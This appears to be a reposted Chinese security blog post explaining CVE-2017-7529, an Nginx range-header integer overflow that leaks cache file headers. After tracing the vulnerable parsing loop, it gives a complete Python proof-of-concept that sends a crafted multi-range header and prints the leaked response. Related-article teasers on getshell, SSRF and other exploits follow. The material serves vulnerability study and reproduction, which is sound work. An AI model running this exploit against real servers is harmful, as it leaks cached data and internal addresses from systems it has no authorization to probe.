CVE-2017-7529Nginx越界读取缓存漏洞POC

漏洞影响

低危,造成信息泄露,暴露真实ip等
实验内容

漏洞原理

通过查看patch确定问题是由于对http header中range域处理不当造成,焦点在ngx_http_range_parse 函数中的循环:
在这里插入图片描述在这里插入图片描述

HTTP头部range域的内容大约为Range: bytes=4096-8192bytes=-字符串指针p中即为“bytes=”后面的内容

这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量标记读取文件的偏移和结束位置。

对于一般的页面文件这两个值怎么玩都没关系。但对于有额外头部的缓存文件若start值为负(合适的负值)那么就意味着缓存文件的头部也会被读取。

因此我们需令 suffix = 1由此可推知Range 的内容必然为Range:bytes=-xxx即省略初始 start 值的形式。

那么我们可以通过 Range 中设 end 值大于content_length(真正文件的长度),这样 start 就自动被程序修正为负值了。

但是在写利用过程中发现一个问题若 end 值很大那么 start 的绝对值也会很大会超过缓存文件的起始头部造成读取失败。若 end 值不够大那么换算下来 size = end – 1 >= content_length (end > content_length 见前文所述)就不能通过循环外面的检测:

if (size>content_length){
return NGXDECLINFD;

}

这样的话似乎无论设 end 为何值都无法达成利用了。继续跟进代码发现这个循环是个无条件循环,尾部为

if (*p++ !=’,’){
break;
}

也就是说若 Range 域形如Range: bytes=start-end,start1-end1,…就还有机会继续完成利用。

我们可以构造一个 Range: bytes=-X, -Y

一大一小两个 end 值只需要控制前面一个 end 值小而后一个 end 值大从而实现 start 值和 size 值皆为负数控制 start 值负到一个合适的位置,那么就能成功利用读到缓存文件头部了。

POC:

访问http://your-ip:8080/,即可查看到Nginx默认页面,这个页面实际上是反向代理的8081端口的内容。

调用python3 poc.py http://your-ip:8080/,读取返回结果:

#!/usr/bin/env python
import sys
import requestsif len(sys.argv) < 2:print("%s url" % (sys.argv[0]))print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))sys.exit()headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)r = requests.get(url, headers=headers)
print(r.text)

参考链接:https://zhuanlan.zhihu.com/p/34155943

看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532565.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux命令行性能监控工具大全

Linux命令行性能监控工具大全 作者&#xff1a;Arnold Lu 原文&#xff1a;https://www.cnblogs.com/arnoldlu/p/9462221.html 关键词&#xff1a;top、perf、sar、ksar、mpstat、uptime、vmstat、pidstat、time、cpustat、munin、htop、glances、atop、nmon、pcp-gui、collect…

Weblogic12c T3 协议安全漏洞分析【CVE-2020-14645 CVE-2020-2883 CVE-2020-14645】

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 关注公众号&#xff1a;b1gpig信息安全&#xff0c;文章推送不错过 ## 前言 WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAV…

Getshell总结

按方式分类&#xff1a; 0x01注入getshell&#xff1a; 0x02 上传 getwebshell 0x03 RCE getshell 0x04 包含getwebshell 0x05 漏洞组合拳getshell 0x06 系统层getcmdshell 0x07 钓鱼 getcmdshell 0x08 cms后台getshell 0x09 红队shell竞争分析 0x01注入getshell&#xff1a;…

编写可靠bash脚本的一些技巧

编写可靠bash脚本的一些技巧 原作者&#xff1a;腾讯技术工程 原文链接&#xff1a;https://zhuanlan.zhihu.com/p/123989641 写过很多 bash 脚本的人都知道&#xff0c;bash 的坑不是一般的多。 其实 bash 本身并不是一个很严谨的语言&#xff0c;但是很多时候也不得不用。以下…

python 到 poc

0x01 特殊函数 0x02 模块 0x03 小工具开发记录 特殊函数 # -*- coding:utf-8 -*- #内容见POC.demo; POC.demo2 ;def add(x,y):axyprint(a)add(3,5) print(------------引入lambad版本&#xff1a;) add lambda x,y : xy print(add(3,5)) #lambda函数,在lambda函数后面直接…

protobuf版本常见问题

protobuf版本常见问题 许多软件都依赖 google 的 protobuf&#xff0c;我们很有可能在安装多个软件时重复安装了多个版本的 protobuf&#xff0c;它们之间很可能出现冲突并导致在后续的工作中出现版本不匹配之类的错误。本文将讨论笔者在使用 protobuf 中遇到的一些问题&#…

CMake常用命令整理

CMake常用命令整理 转自&#xff1a;https://zhuanlan.zhihu.com/p/315768216 CMake 是什么我就不用再多说什么了&#xff0c;相信大家都有接触才会看一篇文章。对于不太熟悉的开发人员可以把这篇文章当个查找手册。 1.CMake语法 1.1 指定cmake的最小版本 cmake_minimum_r…

CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; CVE-2021-41773漏洞描述&#xff1a; Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新&#xff0c;披…

SSRF,以weblogic为案例

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 复习一下ssrf的原理及危害&#xff0c;并且以weblog的ssrf漏洞为案例 漏洞原理 SSRF(Server-side Request Forge, 服务端请求伪造) 通常用于控制web进而…

C++11 右值引用、移动语义、完美转发、万能引用

C11 右值引用、移动语义、完美转发、引用折叠、万能引用 转自&#xff1a;http://c.biancheng.net/ C中的左值和右值 右值引用可以从字面意思上理解&#xff0c;指的是以引用传递&#xff08;而非值传递&#xff09;的方式使用 C 右值。关于 C 引用&#xff0c;已经在《C引用…

C++11 std::function, std::bind, std::ref, std::cref

C11 std::function, std::bind, std::ref, std::cref 转自&#xff1a;http://www.jellythink.com/ std::function 看看这段代码 先来看看下面这两行代码&#xff1a; std::function<void(EventKeyboard::KeyCode, Event*)> onKeyPressed; std::function<void(Ev…

Java安全(一) : java类 | 反射

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1.java基础 Java平台共分为三个主要版本Java SE&#xff08;Java Platform, Standard Edition&#xff0c;Java平台标准版&#xff09;、Java EE&#xff0…

LeetCode-287 寻找重复数 二分法

LeetCode-287 寻找重复数 二分法 287. 寻找重复数 给定一个包含 n 1 个整数的数组 nums &#xff0c;其数字都在 1 到 n 之间&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一个重复的整数。 假设 nums 只有 一个重复的整数 &#xff0c;找出 这个重复的数 。…

对某公司一次弱口令到存储型xss挖掘

转自我的奇安信攻防社区文章:https://forum.butian.net/share/885 免责声明: 渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播** 涉及知识: xss注入及xss注入绕过 挖掘过程: 某次针对某目标信息搜集无意发现某工程公司的项目招标平台 …

C++11新特性选讲 语言部分 侯捷

C11新特性选讲 语言部分 侯捷 本课程分为两个部分&#xff1a;语言的部分和标准库的部分。只谈新特性&#xff0c;并且是选讲。 本文为语言部分笔记。 语言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 标准库 type_traitsunodered…

java安全(二):JDBC|sql注入|预编译

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1 JDBC基础 JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通…

java安全(三)RMI

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1.RMI 是什么 RMI(Remote Method Invocation)即Java远程方法调用&#xff0c;RMI用于构建分布式应用程序&#xff0c;RMI实现了Java程序之间跨JVM的远程通信…

LeetCode-726 原子的数量 递归

LeetCode-726 原子的数量 递归 题目链接&#xff1a;LeetCode-726 原子的数量 给你一个字符串化学式 formula &#xff0c;返回 每种原子的数量 。 原子总是以一个大写字母开始&#xff0c;接着跟随 0 个或任意个小写字母&#xff0c;表示原子的名字。 如果数量大于 1&#xf…

java安全(四) JNDI

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java…

二叉树的层序遍历和前中后序遍历代码 迭代/递归

前中后序遍历&#xff08;DFS&#xff09; 首先我们要明确前中后序遍历的顺序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍历的递归代码和迭代代码分别有各自的框架&#xff0c;然后根据遍历顺序调整记录元素的位置即可。 …